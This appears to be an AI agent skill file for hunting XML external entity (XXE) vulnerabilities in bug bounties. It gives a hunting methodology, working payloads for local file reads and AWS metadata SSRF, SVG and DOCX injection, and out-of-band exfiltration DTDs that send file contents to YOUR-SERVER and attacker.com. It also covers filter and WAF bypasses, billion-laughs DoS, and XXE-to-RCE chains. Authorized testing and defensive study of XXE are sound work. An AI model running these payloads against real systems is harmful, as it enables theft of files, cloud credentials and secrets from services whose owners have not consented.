hunt-xxe— agent skill

Crown Jewel Targets

XXE is a critical-severity vulnerability that consistently pays at the top of bug bounty scales ($5,000–$30,000+) due to its direct path to sensitive data exfiltration and SSRF. Highest-value targets:

• Large enterprise platforms with XML-heavy backend integrations (finance, logistics, ride-sharing APIs)
• Domains with file-read capability — /etc/passwd, /etc/shadow, internal config files, AWS metadata endpoints
• Subdomains sharing backend infrastructure — one XXE endpoint can pivot to internal services across dozens of domains (as demonstrated by 26+ Uber domains via a single entry point)
• API gateways accepting XML content types — especially REST APIs that silently accept Content-Type: application/xml
• File upload features — SVG, DOCX, XLSX, PDF, PPTX parsers on the server side
• SAML/SSO endpoints — SAML assertions are XML-based and frequently vulnerable
• Office/document processing services — any feature that converts or processes user-supplied documents

Attack Surface Signals

URL Patterns

/api/v*/xml
/upload
/import
/parse
/convert
/saml/acs
/sso/saml
/feed
/rss
/sitemap
/webdav
/soap/*
/wsdl
/service.asmx
/xmlrpc
/graphql (multipart with XML)

Request/Response Headers

Content-Type: application/xml
Content-Type: text/xml
Content-Type: application/soap+xml
Content-Type: multipart/form-data  ← check file upload fields
Accept: application/xml
X-Content-Type-Options: (absent — good sign of loose parsing)

JavaScript Patterns (source recon)

// Look for in JS bundles
XMLSerializer
DOMParser
parseFromString
new ActiveXObject("Microsoft.XMLDOM")
$.parseXML(
xml2js
libxmljs
lxml

Tech Stack Signals

• Java stacks: Spring, Struts, JAX-WS — default XML parsers (SAX, DOM) are XXE-vulnerable without explicit hardening
• PHP: simplexml_load_string(), DOMDocument::loadXML() — vulnerable by default pre-PHP 8
• Python: lxml, xml.etree (safe by default), xml.sax (unsafe)
• Ruby: Nokogiri older versions, REXML
• Node.js: xml2js, libxmljs, fast-xml-parser (older versions)
• WSDL/SOAP services: Always test — legacy XML parsing virtually guaranteed
• File parsers: Apache POI (Java), python-docx, LibreOffice integrations

Step-by-Step Hunting Methodology

1. Map every XML entry point — Use Burp Suite passive scanner to flag all requests/responses with XML content types. Also intercept JSON endpoints and manually swap Content-Type to application/xml with equivalent XML body.

1. Identify file upload features — Upload SVG, DOCX, XLSX, and observe if the server processes/renders content. These are often XML under the hood.

1. Attempt inline XXE (classic file read) — Replace the XML body with a basic entity test payload targeting /etc/passwd or C:\Windows\win.ini. Observe if the value is reflected in the response.

1. If no reflection, pivot to Blind OOB — Set up an OOB listener (Burp Collaborator, interactsh, or a self-hosted netcat server). Inject an external entity pointing to your callback URL. Confirm DNS/HTTP hit to validate the parser is making outbound connections.

1. Escalate Blind OOB to file exfiltration — Use a two-stage payload: first entity loads local file, second entity sends it OOB via HTTP parameter or DNS exfiltration.

1. Test SSRF pivot — Point the external entity at internal network addresses (http://169.254.169.254/latest/meta-data/, http://10.0.0.1/, http://localhost:8080/admin). Look for differences in response timing or error messages.

1. Test all subdomains sharing the same backend — If one subdomain is vulnerable, enumerate and test all others systematically. Shared backend infrastructure means shared vulnerability.

1. Test parameter-level injection — Some endpoints parse only specific XML nodes. Inject entities into every element value, attribute value, and even element names.

1. Test for error-based exfiltration — If OOB is blocked, trigger XML parsing errors that include file content in the error message returned to the client.

1. Document the full impact chain — Demonstrate: file read → SSRF → internal service access → note which internal domains/IPs are reachable.

Payload & Detection Patterns

Classic In-Band File Read

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>

Windows Equivalent

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root><data>&xxe;</data></root>

Blind OOB — DNS/HTTP Callback

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR.BURPCOLLABORATOR.net/xxe-test">
]>
<root><data>&xxe;</data></root>

Blind OOB — File Exfiltration via Parameter Entity (two-stage)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd">
  %dtd;
]>
<root><data>trigger</data></root>

evil.dtd (hosted on attacker server):

<!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR-SERVER/?data=%file;'>">
%all;

SSRF via XXE (AWS Metadata)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&ssrf;</data></root>

SVG XXE (for file upload endpoints)

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg width="512px" height="512px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="14" x="0" y="16">&xxe;</text>
</svg>

DOCX/XLSX XXE — Inject into [Content_Types].xml or word/document.xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Types xmlns="..."><Default Extension="rels" ContentType="&xxe;"/></Types>

Content-Type Swap (JSON to XML)

# Original JSON request
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"user":"test"}'

# Converted to XML for XXE testing
curl -X POST https://target.com/api/endpoint \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://COLLABORATOR.net">]><user>&xxe;</user>'

Grep Patterns for Source Code Review

# PHP
grep -rn "simplexml_load_string\|DOMDocument\|xml_parse\|loadXML\|SimpleXMLElement" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|XMLInputFactory\|TransformerFactory" .

# Python
grep -rn "lxml\|xml.sax\|parseString\|fromstring\|etree.parse" .

# Look for missing hardening
grep -rn "FEATURE_EXTERNAL_GENERAL_ENTITIES\|setExpandEntityReferences\|setFeature.*false" .

Common Root Causes

1. Default parser configurations — Java's DocumentBuilderFactory, PHP's DOMDocument, and Python's lxml all support external entities by default. Developers use them without reading the security docs.

1. Framework upgrades without security re-review — Older versions of Spring, Struts, and similar frameworks enabled XXE by default; developers didn't re-audit XML handling when libraries changed.

1. Hidden XML consumption — Developers accept JSON at the API layer but convert to XML internally, or use libraries (Apache POI, python-docx) to process uploads without realizing those formats are XML containers.

1. Copy-paste code from StackOverflow — XML parsing examples online rarely include entity disabling. Developers copy minimal working examples straight into production.

1. SAML/SSO library misconfigurations — SSO integrations often delegate XML parsing to third-party libraries with XXE enabled; developers assume "library handles security."

1. Testing gaps on non-primary content types — QA tests JSON APIs extensively; XML code paths receive minimal security testing because they're secondary or legacy.

1. Microservice XML messaging — Internal service-to-service communication uses XML (SOAP, custom schemas) and is treated as a "trusted internal" concern, bypassing security review.

Bypass Techniques

Defense: Keyword blacklist (ENTITY, DOCTYPE, SYSTEM)

<!-- Case variation -->
<!DoCtYpE foo [<!EnTiTy xxe SyStEm "file:///etc/passwd">]>

<!-- Encoding bypass -->
<?xml version="1.0" encoding="UTF-16"?>
(submit the entire payload UTF-16 encoded)

<!-- Parameter entity instead of general entity -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe;]>

Defense: External entity fetching disabled (file:// blocked)

<!-- Try alternative URI schemes -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">       <!-- Java -->
<!ENTITY xxe SYSTEM "jar:file:///etc/passwd!/">   <!-- Java -->
<!ENTITY xxe SYSTEM "gopher://internal-service:80/_GET%20/">

Defense: WAF blocking XXE patterns

<!-- Chunked transfer encoding to bypass WAF inspection -->
Transfer-Encoding: chunked

<!-- HTTP request splitting with XML payload spread across chunks -->

<!-- Use XML comments to break signatures -->
<!-–- -->DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

<!-- Nested encoding -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "&#x66;&#x69;&#x6c;&#x65;:///etc/passwd">]>

Defense: Network egress filtering (OOB blocked)

<!-- DNS-only exfiltration (port 53 often allowed) -->
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://%data;.attacker.com/'>">

<!-- Error-based exfiltration (no outbound needed) -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///notexist/%file;'>">
  %eval; %error;
]>

Defense: Content-Type validation

# Try mismatched Content-Type headers
Content-Type: application/json; charset=xml
Content-Type: application/xml+json
# Or simply omit Content-Type and let the server sniff

Defense: Input length limits

<!-- Use billion laughs to test parser limits, and use short file paths -->
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;">
]>
<!-- Escalate to demonstrate DoS if XXE file-read is patched -->

Parser-ecosystem vulnerability matrix

XXE classic payloads (<!ENTITY xxe SYSTEM "file://...">) are not universally exploitable in 2026. Most mainstream language ecosystems have hardened their default XML parsers since 2018-2024. Fingerprint the target stack BEFORE investing time in XXE — sometimes the parser is already safe and the bug class doesn't apply.

Fingerprint signals to look for:

• Server: Apache Tomcat, X-Powered-By: Servlet → Java backend → likely YES
• X-Powered-By: PHP/... + endpoint that ingests XML → likely YES if app uses DOMDocument
• Server: Microsoft-IIS with .aspx and XML SOAP → likely YES on legacy code
• Server says nothing identifiable + endpoint accepts XML → probe with `&hello;` first; if the inline entity expands, escalate to SYSTEM. If the inline entity also fails to expand, the parser may be hardened — pivot.

Pre-Severity Gate: before claiming XXE on a candidate endpoint, run the inline-entity probe (<!ENTITY hello "world!"> then &hello; in a node). If hello! does NOT echo back, parser-level entity expansion is disabled and SYSTEM file:// won't work either. Don't waste cycles on a hardened parser.

Gate 0 Validation

Before writing the report, answer all three:

1. What can the attacker DO right now?

• Can you show the contents of /etc/passwd or win.ini in the response? OR can you demonstrate a confirmed OOB callback with a file's contents transmitted to your server? OR can you reach an internal SSRF endpoint (metadata, internal admin)?

1. What does the victim LOSE?

• Specific sensitive data must be identified: internal credentials, AWS IAM keys, application config files with DB passwords, PII, or internal network topology. "Parser made a DNS request" alone is insufficient — escalate to demonstrate actual data exposure or internal access.

1. Can it be reproduced in 10 minutes from scratch?

• You must have a single curl command or Burp repeater request that a triage engineer can run against the live target and see the impact within 10 minutes, with zero ambiguity about the vulnerable parameter and endpoint.

Real Impact Examples

Scenario A: Single Endpoint → 26 Domains Compromised (Uber-scale)

A tester discovered an XML parsing endpoint on one Uber subdomain. The backend processed XML using a vulnerable parser, and the server made outbound HTTP requests to attacker-controlled infrastructure (blind OOB). Because the vulnerable XML processing service was a shared internal microservice, the same vulnerability was reachable through 26+ different public-facing domains — all sharing the backend. A single payload could read /etc/passwd, internal config files, and reach AWS metadata endpoints, effectively giving access to credentials reusable across the entire infrastructure.

Business impact: Full internal service compromise across the majority of the production domain fleet; potential for credential theft and lateral movement.

Scenario B: Document Upload → Local File Read on Twitter-scale Platform

An attacker uploaded a crafted XML-based document (e.g., SVG or Office format) to a document processing feature on a major social platform. The server-side parser processed the embedded DTD and external entity references, returning local file contents in the parsed output or error messages. The attacker could read application config files containing database connection strings, internal API keys, and potentially private user data stored on the same filesystem.

Business impact: Exposure of production secrets (database credentials, API keys) via a feature intended for harmless file uploads; no authentication bypass required beyond a standard user account.

Scenario C: JSON API → Hidden XML Parser → SSRF to Internal Services

A REST API endpoint nominally accepting JSON was found to also parse requests submitted as application/xml. The underlying service converted XML to an internal format using an unpatched Java DocumentBuilderFactory. By injecting a SYSTEM entity pointing at http://10.0.0.x address ranges, the tester could probe internal services, reach an unauthenticated internal admin panel, and retrieve AWS instance metadata including temporary IAM credentials — all through a single API call requiring only a valid session token.

Business impact: Complete AWS credential compromise from a single authenticated API call, enabling privilege escalation from application-level user to cloud infrastructure administrator.

Related Skills & Chains

• `hunt-ssrf` — XXE is SSRF-with-XML-syntax once you discover the parser fetches external entities. Chain primitive: blind XXE OOB <!ENTITY % x SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/role"> → exfil AWS IMDS creds via parameter-entity DTD callback → STS AssumeRole chain. Where pure SSRF is filter-blocked, gopher:// via XXE-in-libxml2 can still reach Redis/SMTP.
• `hunt-file-upload` — XXE most often hides inside file-upload features that quietly parse XML (DOCX/XLSX/PPTX, SVG, GPX, KML, OOXML, SOAP attachments). Chain primitive: upload DOCX with malicious [Content_Types].xml containing parameter-entity DTD → OOB file read of /etc/passwd / web.config / .aws/credentials via the document parser running server-side.
• `hunt-rce` — XXE → RCE is rare but real on PHP (expect://), Java (XSLT extensions with <xsl:script>/Xalan), and older XmlSpy/SAXON deployments. Chain primitive: XXE in a Java endpoint using a vulnerable XSLT processor → <xsl:value-of select="rt:exec(rt:getRuntime(),'id')"/> → RCE; or PHP XXE with expect://id stream wrapper enabled → direct RCE.
• `hunt-sharepoint` — On-prem SharePoint/Exchange/IIS stacks have a long history of XXE in SOAP/CSOM/EWS endpoints. Chain primitive: anonymous XXE in _vti_bin/*.asmx or EWS SOAP → read web.config → recover <machineKey> → ViewState deserialization → RCE (the ToolShell-adjacent precondition).
• `security-arsenal` — Reach for the XXE payload tree: standard SYSTEM file read, parameter-entity OOB DTD pattern (the % indirection that makes blind XXE work), php://filter/convert.base64-encode/resource= for binary-safe read, XInclude (<xi:include href=...>) when DOCTYPE is blocked, billion-laughs/quadratic-blowup for DoS, and the jar:// / netdoc:// Java-specific wrappers.
• `triage-validation` — Apply the Reproducibility + Pre-Severity Gates. An XXE that only triggers an OOB DNS callback with NO data exfil is Low/Medium (information disclosure of "this parser fetches entities"), not Critical. Critical needs proof of file read or internal HTTP — show the actual /etc/passwd content or the IMDS JSON response in the report.